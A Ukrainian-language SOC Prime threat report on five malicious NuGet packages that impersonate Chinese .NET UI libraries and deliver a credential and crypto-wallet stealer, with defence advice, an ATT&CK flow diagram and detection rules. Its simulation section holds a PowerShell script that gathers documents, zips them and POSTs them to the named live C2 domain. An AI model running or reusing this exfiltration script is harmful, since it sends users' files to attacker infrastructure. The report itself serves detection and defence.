SOC Prime Bias: Критичний

12 May 2026 15:21 UTC

П’ять підробних пакетів NuGet UI ділять крипто гаманці та крадуть облікові дані

Author Photo
SOC Prime Team linkedin icon Стежити
П’ять підробних пакетів NuGet UI ділять крипто гаманці та крадуть облікові дані
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

П’ять пакетів NuGet, опублікованих під обліковим записом bmrxntfj видають себе за відомі китайські бібліотеки .NET UI та вбудовують інформаційний крадій, захищений .NET Reactor. Шкідливе навантаження активується одразу після завантаження DLL, викрадає JIT компілятор і краде облікові дані браузера, дані криптовалютних гаманців, SSH ключі та локальні файли перед їх ексфільтрацією на новий зареєстрований домен командного та контрольного сервера. Часті зміни версій та приховані списки пакетів допомагають операції уникати простих виявлень на основі хешів, створюючи ризик як для робочих станцій розробників, так і для середовищ CI/CD.

Розслідування

Дослідники розпакували шкідливе ПЗ, захищене .NET Reactor, ідентифікували другорядну .NET збірку під назвою we4ftg.exe, та відновили рядки конфігурації з пам’яті. Їхній аналіз показав, які браузери та розширення гаманця були під прицілом, задокументували схему користувацьких HTTP заголовків та визначили місце підготування під каталогом OneDrive. Розслідування також виявило деталі інфраструктури, зокрема домен командного та контрольного сервера, його IP-адресу та пов’язаний приватний сервер Git.

Захист

Захисники повинні блокувати розв’язання DNS і вихідний трафік на виявлений домен командного та контрольного сервера і IP-адресу, стежити за створенням файлу keys.dat всередині папки OneDrive та надсилати попередження щодо користувацького X-xxx HTTP заголовка. Будь-які IR.* пакети повинні бути видалені з дерев залежностей і замінені перевіреними легітимними бібліотеками. Усі потенційно розкриті облікові дані, токени та секрети мають бути негайно змінені.

Відповідь

Будь-яка система, яка відновила або завантажила один з шкідливих IR.* пакетів, повинна розглядатися як скомпрометована, ізольована та піддана повній ротації облікових даних. Вміст для виявлення повинен бути оновлений опублікованими індикаторами, і команди повинні координувати роботу з адміністраторами галереї NuGet, щоб забезпечити видалення шкідливих пакетів і призупинення облікового запису видавця.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% Nodes – Techniques tech_supply_chain["<b>Техніка</b> – <b>T1195.002 Компрометація ланцюжка поставок</b><br/><b>Опис</b>: Компрометація програмного ланцюжка поставок для впровадження шкідливого коду в легітимні пакети."] class tech_supply_chain technique tech_appdomain_hijack["<b>Техніка</b> – <b>T1574.014 Перехоплення виконання: .NET AppDomain Manager</b><br/><b>Опис</b>: Противники перехоплюють .NET AppDomainManager для виконання коду до запуску запланованого додатка."] class tech_appdomain_hijack technique tech_obfuscation["<b>Техніка</b> – <b>T1027 Маскування файлів або інформації</b><br/><b>Опис</b>: Використання упаковки, шифрування або інших методів для приховування шкідливого коду або даних."] class tech_obfuscation technique tech_trusted_dev_proxy["<b>Техніка</b> – <b>T1127 Проксі виконання довірених утиліт розробника</b><br/><b>Опис</b>: Зловживання легітимними утилітами розробника або менеджерами пакетів для запуску шкідливого коду."] class tech_trusted_dev_proxy technique tech_software_ext["<b>Техніка</b> – <b>T1176 Розширення програм</b><br/><b>Опис</b>: Використання розширень програмного забезпечення або плагінів для отримання виконання."] class tech_software_ext technique tech_process_discovery["<b>Техніка</b> – <b>T1057 Відкриття процесів</b><br/><b>Опис</b>: Перелічення запущених процесів на скомпрометованій системі."] class tech_process_discovery technique tech_file_dir_discovery["<b>Техніка</b> – <b>T1083 Відкриття файлів та каталогів</b><br/><b>Опис</b>: Перелік файлів та каталогів для виявлення цінних даних."] class tech_file_dir_discovery technique tech_browser_info["<b>Техніка</b> – <b>T1217 Відкриття інформації про браузер</b><br/><b>Опис</b>: Збір інформації про встановлені браузери та розширення."] class tech_browser_info technique tech_browser_credentials["<b>Техніка</b> – <b>T1555.003 Облікові дані з веб-браузерів</b><br/><b>Опис</b>: Екстракція збережених паролів, кукі та інших облікових даних з браузерів."] class tech_browser_credentials technique tech_private_keys["<b>Техніка</b> – <b>T1552.004 Незахищені облікові дані: Приватні ключі</b><br/><b>Опис</b>: Визначити та ексфільтрувати приватні SSH ключі та інші криптографічні ключі."] class tech_private_keys technique tech_credentials_files["<b>Техніка</b> – <b>T1552.001 Облікові дані у файлах</b><br/><b>Опис</b>: Пошук облікових даних, збережених у конфігураційних або даних файлах."] class tech_credentials_files technique tech_data_staged_local["<b>Техніка</b> – <b>T1074.001 Дані на локальному рівні</b><br/><b>Опис</b>: Зібрані дані агрегуються на локальному хості перед ексфільтрацією."] class tech_data_staged_local technique tech_data_staged_remote["<b>Техніка</b> – <b>T1074.002 Дані на віддаленому рівні</b><br/><b>Опис</b>: Дані агрегуються у віддаленому розташуванні, такому як хмарне сховище."] class tech_data_staged_remote technique tech_process_injection["<b>Техніка</b> – <b>T1055.001 Впорскування процесу: Ін’єкція бібліотеки динамічних посилань</b><br/><b>Опис</b>: Впорскування шкідливих DLL у легітимні процеси для прихованого виконання."] class tech_process_injection technique tech_sandbox_evasion["<b>Техніка</b> – <b>T1497.002 Уникнення віртуалізації/пісочниці: Перевірка дій користувача</b><br/><b>Опис</b>: Виявлення оточень пісочниці шляхом перевірки відомих імен користувачів або комп’ютерів."] class tech_sandbox_evasion technique tech_c2_web["<b>Техніка</b> – <b>T1071.001 Протокол рівня застосунку: Веб-протоколи</b><br/><b>Опис</b>: Використання HTTP/S для зв’язку з серверами команд та контролю."] class tech_c2_web technique tech_junk_data["<b>Техніка</b> – <b>T1001.001 Мутація даних: Непотрібні дані</b><br/><b>Опис</b>: Додавання випадкових шумів до мережевих пакетів для ускладнення виявлення."] class tech_junk_data technique %% Nodes – Tools and Malware tool_nuget_pkg["<b>Інструмент</b> – <b>Назва</b>: Шкідливий пакет NuGet IR.*<br/><b>Опис</b>: Пакети, опубліковані в NuGet, які імітують легітимні китайські бібліотеки .NET і завантажуються при відновленні."] class tool_nuget_pkg tool tool_dotnet_reactor["<b>Інструмент</b> – <b>Назва</b>: .NET Reactor (Necrobit)<br/><b>Опис</b>: Упаковує та шифрує .NET збірки, додає антикорупційні підписи RSAu20111024."] class tool_dotnet_reactor tool malware_payload["<b>Шкідливе ПЗ</b> – <b>Назва</b>: .NET Reactor Payload<br/><b>Опис</b>: Зашифрована .NET збірка, завантажена ініціалізатором AppDomainManager."] class malware_payload malware tool_sharpinjector["<b>Інструмент</b> – <b>Назва</b>: SharpInjector<br/><b>Опис</b>: .NET інжектор, що виконує впорскування DLL у довгоживучі процеси, такі як explorer.exe."] class tool_sharpinjector tool process_explorer["<b>Процес</b> – <b>Назва</b>: explorer.exe"] class process_explorer process process_dllhost["<b>Процес</b> – <b>Назва</b>: dllhost.exe"] class process_dllhost process data_staged_file["<b>Дані</b> – <b>Шлях</b>: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% Flow Connections tech_supply_chain –>|поставляє| tool_nuget_pkg tool_nuget_pkg –>|тригерить| tech_appdomain_hijack tech_appdomain_hijack –>|завантажує| malware_payload malware_payload –>|упаковане| tool_dotnet_reactor tool_dotnet_reactor –>|включає| tech_obfuscation tech_obfuscation –>|полегшує| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|використовує| tech_software_ext tech_software_ext –>|включає| tech_process_discovery tech_process_discovery –>|веде до| tech_file_dir_discovery tech_file_dir_discovery –>|веде до| tech_browser_info tech_browser_info –>|включає| tech_browser_credentials tech_browser_credentials –>|збирає| tech_private_keys tech_private_keys –>|збирає| tech_credentials_files tech_credentials_files –>|зберігає| tech_data_staged_local tech_data_staged_local –>|записує до| data_staged_file data_staged_file –>|синхронізує з| tech_data_staged_remote tech_data_staged_remote –>|використовує| tool_sharpinjector tool_sharpinjector –>|інжектує в| process_explorer tool_sharpinjector –>|інжектує в| process_dllhost process_explorer –>|підтримує| tech_process_injection process_dllhost –>|підтримує| tech_process_injection tech_process_injection –>|перевіряє| tech_sandbox_evasion tech_sandbox_evasion –>|дозволяє| tech_c2_web tech_c2_web –>|передає з| tech_junk_data %% Class Assignments class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "

Потік атаки

Виявлення

Коротка назва файлу (через командну лінію)

Команда SOC Prime
11 травня 2026

ІОК (HashSha256) для виявлення: 5 шкідливих пакетів NuGet імітують китайські бібліотеки UI для розповсюдження злодія криптовалютних гаманців і облікових даних

Правила SOC Prime AI
11 травня 2026

ІОК (HashSha1) для виявлення: 5 шкідливих пакетів NuGet імітують китайські бібліотеки UI для розповсюдження злодія криптовалютних гаманців і облікових даних

Правила SOC Prime AI
11 травня 2026

ІОК (SourceIP) для виявлення: 5 шкідливих пакетів NuGet імітують китайські бібліотеки UI для розповсюдження злодія криптовалютних гаманців і облікових даних

Правила SOC Prime AI
11 травня 2026

ІОК (DestinationIP) для виявлення: 5 шкідливих пакетів NuGet імітують китайські бібліотеки UI для розповсюдження злодія криптовалютних гаманців і облікових даних

Правила SOC Prime AI
11 травня 2026

Виявлення шкідливого C2 зв’язку в кампанії ексфільтрації [Windows мережеве з’єднання]

Правила SOC Prime AI
11 травня 2026

Виявлення шкідливих пакетів NuGet, виконуючих JIT хукінг та доставку навантаження [Windows створення процесу]

Правила SOC Prime AI
11 травня 2026

Виконання симуляції

Попередня умова: Телеметрія та передпочатковий перевірка повинна була пройти.

Обґрунтування: Цей розділ описує точне виконання техніки противника (TTP), розробленої для активації правила виявлення. Команди та опис МАЮТЬ безпосередньо відображати ідентифіковані TTP та націлені на генерацію точної телеметрії, яку очікує логіка виявлення. Абстрактні або не пов’язані приклади можуть призвести до неправильної діагностики.

  • Опис атаки та команди:
    Супротивник скомпрометував легітимний пакет NuGet, який при імпорті у додаток .NET жертви ініціює навантаження PowerShell. Навантаження виконує наступні кроки:

    1. Відкриття (T1082, T1083): Збір версії ОС та перелік документів користувача.
    2. Збір облікових даних (T1552.001): Читання збережених облікових даних з реєстру.
    3. Архівування (T1560): Стиснення зібраних файлів у архів ZIP.
    4. Маскування заголовка (T1027): Додавання користувацького HTTP заголовка X-Auth-Token: <випадковий-рядок> для маскування ексфільтраційного трафіку.
    5. C2 Ексфільтрація (T1071.001, T1005, T1195.002): POST архів на шкідливий C2 сервер на dns-providersa2.com (або його закодована IP 62.84.102.85).

    Використання X- заголовка безпосередньо задовольняє правило Sigma http.request.header|contains: "X-" умову, у той час як напрямок відповідає статичному IoC.

  • Сценарій регресійного тесту:

    # -----------------------------------------------------------------
    # Регресійний тест - Активація правила Sigma "Шкідливий C2 зв'язок"
    # -----------------------------------------------------------------
    # 1. Збір інформації про систему (T1082)
    $sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory
    
    # 2. Перелік документів користувача (T1083)
    $docs = Get-ChildItem "$env:USERPROFILEDocuments" -Recurse -File -ErrorAction SilentlyContinue
    
    # 3. Читання зразка облікових даних з реєстру (T1552.001)
    $credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU"
    $storedCred = (Get-ItemProperty -Path $credPath).MRUList | Out-String
    
    # 4. Упаковка даних (T1560)
    $tempZip = "$env:TEMPexfil_$(Get-Random).zip"
    $items = @($sysInfo, $docs, $storedCred)
    Compress-Archive -Path $items -DestinationPath $tempZip -Force
    
    # 5. Підготовка користувацького HTTP заголовка (маскування - T1027)
    $authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())"
    
    # 6. Ексфільтрація по HTTP POST на шкідливий C2 (T1071.001)
    $c2 = "http://dns-providersa2.com/upload"
    Invoke-WebRequest -Uri $c2 `
                      -Method Post `
                      -InFile $tempZip `
                      -ContentType "application/octet-stream" `
                      -Headers @{'X-Auth-Token' = $authToken}
    
    # 7. Прибирання локального артефакту
    Remove-Item $tempZip -Force
  • Команди для очищення:

    # Видалення будь-яких тимчасових файлів, які могли залишитись після тесту
    Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Force
    
    # Скидання розміру журналу фаєрвола (опціонально)
    netsh advfirewall set allprofiles logging maxfilesize 4096